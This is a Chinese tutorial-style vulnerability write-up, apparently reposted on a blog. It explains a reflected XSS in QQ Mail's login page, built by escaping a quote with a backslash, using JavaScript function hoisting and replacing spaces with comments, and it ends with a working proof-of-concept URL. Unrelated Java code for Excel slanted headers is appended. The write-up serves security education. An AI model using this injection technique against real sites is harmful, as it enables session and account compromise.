5.反斜线复仇记

作者:心伤的瘦子

来自:PKAV技术宅社区

网址:http://www.pkav.net

-----------------------------------------------------------------------------------------------------------------

简要描述:

还是在<script>之间的场景,某些情况下,我们仅仅需要的只是一个反斜线,就可以绕过过滤了。

详细说明:

1.有以下实例点

http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

2.对应的输出,如下图所示:

3.经过测试,我们可以看到,双引号是用不了,但是反斜线还可以使用

4.那么这里是否可以成功的XSS呢?我们把缺陷代码部分提取出来

<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regali
as="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting1
0%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2
Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl
%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Din
dex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C
1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206
ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>

5.可以看到有缺陷的部分是

location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略

我们可以控制的是aaaa,又不能用",怎么办呢?

因为我们可以使用\,那么我们可以杀掉aaaa后面的双引号

location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param=";

可以看到代码的结果因为一个反斜线发生了变化,如下图:

6.为了保证bbb后面的语法正确性,我们把bbb改为一个数字,把bbb后面加上//来注释掉后面的部分。变成以下形式

location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";

7.看起来不错哦,但是会出来一些问题,"字符串"&from=1,这样是错误的,因为&符号的优先级高,("字符串"&from)=1是无法进行这种赋值操作的。这样一来还是不行。别着急。我们可以稍微改动一下。变为以下形式

location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";

由于==的优先级比&高,所以语句相当于("字符串")&(from==1)

8.更顺眼了,但是还是会悲剧啊。由于from未定义,直接和1进行相等判断的话,会报错,错误是:“from”未定义。。。怎么办呢?

9.别紧张,javascript里有一个特性。如下:

aaa();

function aaa(){

}

凡是以function xxx(){}形式定义的函数,都会被最优先解析。换句话说:

解析器在解析JS代码段时,会先将function xxx(){}拿到最前面解析,然后再依次解析其它的部分。换句话说,上面的代码,实际的解析顺序是:

function aaa(){

}

aaa();

利用这样一个特性,我们的代码可以改改:

location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";

这样一来,我们的functionfrom(){}就会被提前解析,从而定义了from,后面from==1的时候,就不会报错啦~~

10.故事往往是曲折的,到了这一步,我们会发现还是不行

看一看源代码吧~~,哎,我们的空格被转义为了 

11.当然,这么一点小事情,难不到我们的,我们用注释符来做分隔符。/**/替换空格,有没有觉得和sql注入一样了,咔咔

于是,我们的代码变为了:

location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";

12.嗯,这次没有语法错误了,我们插入我们自己的JS代码。

location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";

最终的利用代码如下:

http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2F
frame_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dinde
x%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

恩,这次是我们的反斜线为双引号报仇啦!

13.修复方案:

(1)随便修修就好

(2)某些情况下,\ 还是很危险的

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
可以使用 Apache POI 中的 XSSF(Excel文件格式)来创建斜线表头。具体步骤如下: 1. 创建一个工作簿对象 XSSFWorkbook。 2. 创建一个工作表对象 XSSFSheet。 3. 创建一个字体对象 XSSFFont,并设置它的属性,如字体、字号和颜色等。 4. 创建一个样式对象 XSSFCellStyle,并设置它的属性,如边框、对齐方式和背景颜色等。 5. 创建一个单元格对象 XSSFCell,并设置它的值和样式。 6. 将单元格添加到行对象 XSSFRow 中。 7. 将行对象添加到工作表对象 XSSFSheet 中。 8. 最后,使用工作簿对象 XSSFWorkbook 将工作表写入到 Excel 文件中。 以下是一个示例代码,可以创建一个带有斜线表头的 Excel 文件: ```java import java.io.FileOutputStream; import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.*; public class SlantHeaderExample { public static void main(String[] args) throws Exception { // 创建工作簿 XSSFWorkbook workbook = new XSSFWorkbook(); // 创建工作表 XSSFSheet sheet = workbook.createSheet("Example"); // 创建字体 XSSFFont font = workbook.createFont(); font.setBold(true); font.setFontHeightInPoints((short) 14); // 创建样式 XSSFCellStyle style = workbook.createCellStyle(); style.setAlignment(HorizontalAlignment.CENTER); style.setVerticalAlignment(VerticalAlignment.CENTER); style.setFillForegroundColor(IndexedColors.GREY_25_PERCENT.getIndex()); style.setFillPattern(FillPatternType.SOLID_FOREGROUND); style.setFont(font); // 创建表头行 int rowIndex = 0; XSSFRow headerRow = sheet.createRow(rowIndex++); // 创建斜线表头单元格 XSSFCell cornerCell = headerRow.createCell(0); cornerCell.setCellValue("Header"); cornerCell.setCellStyle(style); for (int i = 1; i <= 5; i++) { // 创建表头单元格 XSSFCell headerCell = headerRow.createCell(i); headerCell.setCellValue("Column " + i); headerCell.setCellStyle(style); // 创建斜线表头单元格 XSSFCell slantHeaderCell = sheet.createRow(rowIndex++).createCell(0); slantHeaderCell.setCellValue("Row " + i); slantHeaderCell.setCellStyle(style); } // 自适应列宽 for (int i = 0; i <= 5; i++) { sheet.autoSizeColumn(i); } // 写入到文件 FileOutputStream out = new FileOutputStream("SlantHeaderExample.xlsx"); workbook.write(out); out.close(); System.out.println("Excel 文件已生成!"); } } ``` 上述代码会生成一个名为 SlantHeaderExample.xlsx 的 Excel 文件,其中包含一个带有斜线表头的工作表。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值